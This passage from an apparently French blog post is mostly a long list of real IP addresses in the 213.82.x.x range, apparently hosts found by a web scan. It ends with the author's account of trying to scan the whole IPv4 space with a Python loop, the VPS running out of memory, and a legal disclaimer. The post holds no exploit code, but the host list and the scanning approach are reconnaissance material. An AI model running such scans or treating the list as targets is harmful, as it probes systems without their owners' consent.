http://213.82.12.101
http://213.82.12.102
http://213.82.12.126
http://213.82.12.165
http://213.82.12.171
http://213.82.12.196
http://213.82.12.197
http://213.82.12.200
http://213.82.12.202
http://213.82.12.203
http://213.82.12.204
http://213.82.13.34
http://213.82.14.68
http://213.82.14.69
http://213.82.14.72
http://213.82.14.74
http://213.82.14.75
http://213.82.14.92
http://213.82.14.174
http://213.82.16.70
http://213.82.16.68
http://213.82.16.71
http://213.82.16.72
http://213.82.16.73
http://213.82.16.74
http://213.82.16.77
http://213.82.16.76
http://213.82.16.80
http://213.82.16.83
http://213.82.16.87
http://213.82.16.90
http://213.82.16.97
http://213.82.17.198
http://213.82.17.200
http://213.82.17.201
http://213.82.17.203
http://213.82.17.207
http://213.82.17.208
http://213.82.17.204
http://213.82.17.221
http://213.82.18.130
http://213.82.18.131
http://213.82.18.134
http://213.82.18.136
http://213.82.18.137
http://213.82.19.58
http://213.82.19.59
http://213.82.19.60
http://213.82.19.118
http://213.82.19.130
http://213.82.19.186
http://213.82.20.2
http://213.82.20.5
http://213.82.20.10
http://213.82.20.108
http://213.82.20.110
http://213.82.21.4
http://213.82.21.3
http://213.82.21.34
http://213.82.21.100
http://213.82.21.101
http://213.82.21.154
http://213.82.21.155
http://213.82.21.167
http://213.82.21.168
http://213.82.21.184
http://213.82.21.183
http://213.82.21.189
http://213.82.21.188
http://213.82.22.72
http://213.82.24.246
http://213.82.24.254
http://213.82.24.252
http://213.82.24.253
http://213.82.25.166
http://213.82.25.168
http://213.82.25.169
http://213.82.26.75
http://213.82.26.81
http://213.82.26.154
http://213.82.27.134
http://213.82.28.26
http://213.82.28.48
http://213.82.28.78
http://213.82.29.26
http://213.82.29.34
http://213.82.29.81
http://213.82.29.99
http://213.82.29.105
http://213.82.29.104
http://213.82.29.194
http://213.82.30.114
http://213.82.30.145
http://213.82.30.173
http://213.82.30.174
http://213.82.30.175
http://213.82.30.189
http://213.82.30.230
http://213.82.31.17
http://213.82.31.202
http://213.82.31.214
http://213.82.35.20
http://213.82.35.162
http://213.82.35.178
http://213.82.37.58
http://213.82.38.226
http://213.82.38.236
http://213.82.38.239
http://213.82.39.68
http://213.82.39.69
http://213.82.39.70
http://213.82.39.226
http://213.82.40.201
http://213.82.40.219
http://213.82.40.221
http://213.82.41.169
http://213.82.43.10
http://213.82.43.147
http://213.82.44.66
http://213.82.44.146
http://213.82.44.147
http://213.82.44.238
http://213.82.45.108
http://213.82.45.110
http://213.82.45.132
http://213.82.45.135
http://213.82.45.136
http://213.82.45.137
http://213.82.46.60
http://213.82.46.154
http://213.82.46.173
http://213.82.46.224
http://213.82.47.2
http://213.82.47.202
http://213.82.49.50
http://213.82.49.233
http://213.82.49.234
http://213.82.49.235
http://213.82.49.241
http://213.82.50.26
http://213.82.50.180
http://213.82.52.158
http://213.82.52.170
http://213.82.52.180
http://213.82.53.194
http://213.82.54.102
http://213.82.54.106
http://213.82.54.162
http://213.82.54.174
http://213.82.54.225
http://213.82.54.231
http://213.82.59.50
http://213.82.59.199
http://213.82.60.26
http://213.82.61.233
http://213.82.61.238
http://213.82.62.62
http://213.82.62.169
http://213.82.62.170
http://213.82.63.42
http://213.82.63.94
http://213.82.64.20
http://213.82.64.19
http://213.82.64.66
http://213.82.64.67
http://213.82.64.68
http://213.82.64.69
http://213.82.64.70
http://213.82.64.204
http://213.82.66.26
http://213.82.66.66
http://213.82.66.142
http://213.82.66.253
http://213.82.67.12
http://213.82.67.13
http://213.82.67.149
http://213.82.68.186
http://213.82.68.250
http://213.82.69.21
http://213.82.69.132
http://213.82.69.150
http://213.82.69.210
http://213.82.70.90
http://213.82.70.214
http://213.82.70.222
http://213.82.74.4
http://213.82.74.2
http://213.82.74.3
http://213.82.74.28
http://213.82.74.27
http://213.82.74.138
http://213.82.74.196
http://213.82.76.142
http://213.82.78.162
http://213.82.79.133
http://213.82.79.137
http://213.82.79.139
http://213.82.79.234
http://213.82.80.12
http://213.82.80.20
http://213.82.80.21
http://213.82.80.233
http://213.82.81.41
http://213.82.82.70
http://213.82.82.74
http://213.82.82.83
http://213.82.82.105
http://213.82.82.111
http://213.82.84.166
http://213.82.85.147
http://213.82.85.149
http://213.82.85.155
http://213.82.86.30
http://213.82.86.138
http://213.82.87.6
http://213.82.87.10
http://213.82.87.76
http://213.82.87.77
http://213.82.87.206
http://213.82.88.2
http://213.82.88.82
http://213.82.88.122
http://213.82.88.181
http://213.82.88.183
http://213.82.88.218
http://213.82.89.35
http://213.82.89.36
http://213.82.89.37
http://213.82.89.42
http://213.82.89.194
http://213.82.90.14
http://213.82.91.10
http://213.82.91.11
http://213.82.91.13
http://213.82.92.50
http://213.82.93.201
http://213.82.93.205
http://213.82.93.207
http://213.82.93.211
http://213.82.94.19
http://213.82.94.20
http://213.82.94.29
http://213.82.94.58
http://213.82.94.129
http://213.82.97.3
http://213.82.97.106
http://213.82.99.83
http://213.82.99.90
http://213.82.99.92
http://213.82.99.93
http://213.82.99.91
http://213.82.100.22
http://213.82.100.129
http://213.82.100.162
http://213.82.102.102
http://213.82.102.130
http://213.82.102.148
http://213.82.102.169
http://213.82.102.226
http://213.82.102.249
http://213.82.105.2
http://213.82.106.35
http://213.82.106.126
http://213.82.107.18
http://213.82.107.59
http://213.82.107.62
http://213.82.107.68
http://213.82.107.69
http://213.82.107.66
http://213.82.107.133
http://213.82.107.134
http://213.82.107.170
http://213.82.107.246
http://213.82.109.44
http://213.82.109.45
http://213.82.110.243
http://213.82.110.244
http://213.82.111.68
http://213.82.111.67
http://213.82.114.106
http://213.82.114.221
http://213.82.114.220
http://213.82.114.222
http://213.82.115.13
http://213.82.117.58
http://213.82.117.106
http://213.82.120.18
http://213.82.120.70
http://213.82.120.79
http://213.82.120.104
http://213.82.120.108
http://213.82.120.116
http://213.82.120.117
http://213.82.120.118
http://213.82.120.126
http://213.82.120.130
http://213.82.120.182
http://213.82.121.97
http://213.82.121.99
http://213.82.122.26
http://213.82.123.19
http://213.82.123.58
http://213.82.123.122
http://213.82.123.124
http://213.82.123.140
http://213.82.126.153
http://213.82.126.159
http://213.82.128.106
http://213.82.128.137
http://213.82.128.210
http://213.82.128.218
http://213.82.129.205
http://213.82.132.5
http://213.82.132.162
http://213.82.132.222
http://213.82.135.34
http://213.82.135.208
http://213.82.136.26
http://213.82.136.74
http://213.82.142.74
http://213.82.142.133
http://213.82.142.229
http://213.82.142.245
http://213.82.143.122
http://213.82.143.234
http://213.82.143.233
http://213.82.143.235
http://213.82.143.254
http://213.82.144.68
http://213.82.144.254
http://213.82.145.210
http://213.82.145.211
http://213.82.146.85
http://213.82.146.225
http://213.82.147.163
http://213.82.149.10
http://213.82.149.26
http://213.82.149.133
http://213.82.149.173
http://213.82.149.172
http://213.82.149.170
http://213.82.150.54
http://213.82.150.96
http://213.82.150.97
http://213.82.150.98
http://213.82.150.99
http://213.82.151.37
http://213.82.151.43
http://213.82.151.142
http://213.82.152.230
http://213.82.153.147
http://213.82.153.219
http://213.82.153.249
http://213.82.153.250
http://213.82.154.69
http://213.82.154.218
http://213.82.155.50
http://213.82.158.3
http://213.82.158.30
http://213.82.159.202
http://213.82.159.203
http://213.82.159.219
http://213.82.162.201
http://213.82.162.207
http://213.82.162.209
http://213.82.162.211
http://213.82.163.70
http://213.82.163.122
http://213.82.163.125
http://213.82.163.138
http://213.82.163.142
http://213.82.165.66
http://213.82.165.67
http://213.82.165.70
http://213.82.165.187
http://213.82.165.222
http://213.82.165.229
http://213.82.168.43
http://213.82.168.42
http://213.82.168.44
http://213.82.168.45
http://213.82.168.46
http://213.82.171.146
http://213.82.171.150
http://213.82.171.151
http://213.82.171.152
http://213.82.172.82
http://213.82.172.84
http://213.82.172.101
http://213.82.172.105
http://213.82.172.106
http://213.82.172.108
http://213.82.172.109
http://213.82.172.110
http://213.82.172.133
http://213.82.172.141
http://213.82.172.142
http://213.82.173.50
http://213.82.174.94
http://213.82.174.142
http://213.82.174.202
http://213.82.174.226
http://213.82.174.246
http://213.82.175.158
http://213.82.176.33
http://213.82.176.35
http://213.82.176.46
http://213.82.176.186
http://213.82.176.188
http://213.82.176.215
http://213.82.176.230
http://213.82.176.234
http://213.82.177.180
http://213.82.177.179
http://213.82.177.182
http://213.82.177.250
http://213.82.178.51
http://213.82.178.59
http://213.82.178.60
http://213.82.178.62
http://213.82.178.61
http://213.82.178.78
http://213.82.178.98
http://213.82.178.147
http://213.82.178.152
http://213.82.178.153
http://213.82.178.154
http://213.82.178.156
http://213.82.178.194
http://213.82.178.198
http://213.82.178.199
http://213.82.178.205
http://213.82.178.250
http://213.82.179.9
http://213.82.179.68
http://213.82.179.124
http://213.82.179.164
http://213.82.179.180
http://213.82.179.222
http://213.82.179.226
http://213.82.181.209
http://213.82.183.153
http://213.82.183.203
http://213.82.184.10
http://213.82.186.73
http://213.82.186.74
http://213.82.186.80
http://213.82.186.81
http://213.82.186.82
http://213.82.189.174
http://213.82.191.61
http://213.82.191.62
http://213.82.191.90
http://213.82.191.198
http://213.82.191.254
http://213.82.192.166
http://213.82.194.18
http://213.82.194.23
http://213.82.195.54
http://213.82.195.66
http://213.82.195.114
http://213.82.195.160
http://213.82.195.161
http://213.82.195.227
http://213.82.195.229
http://213.82.195.230
http://213.82.197.70
http://213.82.197.230
http://213.82.199.2
http://213.82.199.121
http://213.82.199.127
http://213.82.202.98
http://213.82.202.186
http://213.82.204.250
http://213.82.205.11
http://213.82.205.13
http://213.82.205.170
http://213.82.207.82
http://213.82.207.88
http://213.82.207.89
http://213.82.207.90
http://213.82.207.91
http://213.82.207.254
http://213.82.211.44
http://213.82.214.242
http://213.82.215.22
http://213.82.215.243
http://213.82.216.229
http://213.82.216.234
http://213.82.216.236
http://213.82.216.241
http://213.82.217.74
http://213.82.217.94
http://213.82.217.117
http://213.82.217.205
http://213.82.218.226
http://213.82.219.52
http://213.82.219.50
http://213.82.219.86
http://213.82.219.84
http://213.82.219.130
http://213.82.219.131
http://213.82.219.132
http://213.82.219.133
http://213.82.219.139
http://213.82.219.203
http://213.82.219.204
http://213.82.219.206
http://213.82.219.205
http://213.82.219.250
http://213.82.219.249
http://213.82.220.201
http://213.82.220.202
http://213.82.220.212
http://213.82.220.215
http://213.82.220.217
http://213.82.220.216
http://213.82.220.218
http://213.82.220.219
http://213.82.220.220
http://213.82.220.221
http://213.82.220.222
http://213.82.220.223
http://213.82.220.224
http://213.82.220.225
http://213.82.220.226
http://213.82.220.227
http://213.82.220.228
http://213.82.220.229
http://213.82.220.230
http://213.82.220.232
http://213.82.220.233
http://213.82.220.234
http://213.82.220.236
http://213.82.220.237
http://213.82.220.238
http://213.82.220.239
http://213.82.220.240
http://213.82.220.241
http://213.82.220.242
http://213.82.220.243
http://213.82.220.244
http://213.82.220.245
http://213.82.220.246
http://213.82.220.248
http://213.82.220.247
http://213.82.220.249
http://213.82.221.106
http://213.82.221.107
http://213.82.221.108
http://213.82.221.110
http://213.82.222.145
http://213.82.224.134
http://213.82.224.181
http://213.82.224.182
http://213.82.225.132
http://213.82.225.133
http://213.82.225.134
http://213.82.225.139
http://213.82.226.21
http://213.82.226.177
http://213.82.226.212
http://213.82.227.19
http://213.82.227.50
http://213.82.227.188
http://213.82.229.34
http://213.82.229.36
http://213.82.230.145
http://213.82.231.220
http://213.82.231.222
http://213.82.232.90
http://213.82.232.91
http://213.82.232.93
http://213.82.233.6
http://213.82.233.25
http://213.82.233.90
http://213.82.233.174
http://213.82.235.142
http://213.82.237.4
http://213.82.237.5
http://213.82.237.42
http://213.82.237.233
http://213.82.237.234
http://213.82.237.238
http://213.82.237.237
http://213.82.238.134
http://213.82.239.114
http://213.82.239.155
http://213.82.239.156
http://213.82.239.182
http://213.82.241.1
http://213.82.243.85
http://213.82.244.75
http://213.82.244.77
http://213.82.244.206
http://213.82.244.205
http://213.82.246.98
http://213.82.246.158
http://213.82.247.42
http://213.82.248.130
http://213.82.248.250
http://213.82.249.210
http://213.82.249.218
http://213.82.249.219
http://213.82.249.220
http://213.82.249.221
http://213.82.249.222
http://213.82.249.236
http://213.82.249.235
http://213.82.249.237
http://213.82.251.35
http://213.82.251.37
http://213.82.251.36
http://213.82.254.19
http://213.82.254.20
http://213.82.254.27
http://213.82.254.70
http://213.82.254.122
http://213.82.254.130
http://213.82.254.195

Vers le scan global : l’aventure commence

Fort de ce premier succès, j’ai décidé de passer à la vitesse supérieure : scanner la totalité de l’espace IPv4, de 0.0.0.0 à 255.255.255.255, cette fois sur un VPS Oracle.

# Adresses IP avec la range de toute la planète
for i in range(256):
    for j in range(256):
        for k in range(256):
            for l in range(256):
                ip = f"{i}.{j}.{k}.{l}"
                print(Fore.YELLOW  + f"File d'attente : {ip}")
                q.put(ip)

J’ai lancé le scan, prêt à monitorer la progression sur plusieurs jours, tout en surveillant la charge du serveur.

Les limites du réel : la RAM comme talon d’Achille

Mais la réalité technique a vite rattrapé l’expérience : la RAM du VPS a saturé bien avant la fin du scan global.
Impossible d’aller au bout du processus sans revoir l’optimisation du script ou investir dans une machine plus puissante.

Bilan et réflexions

Même si le scan global n’a pas pu aboutir, l’expérience fut riche d’enseignements.
Elle m’a permis de mieux comprendre l’ampleur d’un scan massif, la gestion des ressources système, l’importance du multithreading, et les limites imposées par l’infrastructure.

Ce projet m’a aussi rappelé que derrière chaque adresse IP, il y a potentiellement un service, une histoire, une vulnérabilité ou une opportunité.

Note importante
Ce projet de cybersécurité a été mené dans un cadre strictement éducatif, pour promouvoir la sensibilisation à la sécurité informatique.
Scanner des réseaux publics sans autorisation peut être illégal ou contraire à l’éthique. Restez toujours dans un cadre légal et responsable.

Update : Les résultats du scan global ne seront finalement pas publiés, suite à un souci d’optimisation de la RAM du VPS qui a été saturée. L’aventure continue…